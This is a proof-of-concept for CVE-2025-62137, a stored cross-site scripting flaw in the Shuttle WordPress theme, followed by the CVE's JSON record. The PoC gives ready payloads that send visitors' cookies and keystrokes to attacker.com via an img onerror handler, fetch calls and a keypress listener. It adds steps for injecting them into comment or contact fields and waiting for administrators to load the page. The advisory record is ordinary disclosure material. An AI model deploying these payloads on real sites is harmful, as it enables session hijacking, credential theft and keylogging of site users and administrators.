CVE-2025-62137

<!-- CVE-2025-62137 Stored XSS PoC for Shuttle Theme --> <!-- Inject this payload in any user input field (comment, contact form, etc.) --> <!-- Basic XSS Payload --> <script>alert(document.cookie)</script> <!-- Cookie Stealing Payload --> <img src=x onerror="this.src='https://attacker.com/steal?c='+document.cookie"> <!-- Session Hijacking Payload --> <script> fetch('https://attacker.com/log?data='+btoa(document.cookie)); </script> <!-- Keylogger Payload --> <script> document.addEventListener('keypress', function(e) { fetch('https://attacker.com/log?k='+e.key); }); </script> <!-- Steps to test: --> <!-- 1. Identify input fields in Shuttle theme (comments, contact forms, etc.) --> <!-- 2. Inject the XSS payload in any input field --> <!-- 3. Save/submit the form --> <!-- 4. Wait for admin or other users to visit the affected page --> <!-- 5. The malicious script will execute in their browser context -->

{"cve": {"id": "CVE-2025-62137", "sourceIdentifier": "[email protected]", "published": "2025-12-31T09:15:51.160", "lastModified": "2026-04-23T15:34:36.640", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in shuttlethemes Shuttle shuttle allows Stored XSS.This issue affects Shuttle: from n/a through <= 1.5.0."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Shuttlethemes Shuttle permite XSS Almacenado. Este problema afecta a Shuttle: desde n/d hasta 1.5.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/shuttle/vulnerability/wordpress-shuttle-theme-1-5-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}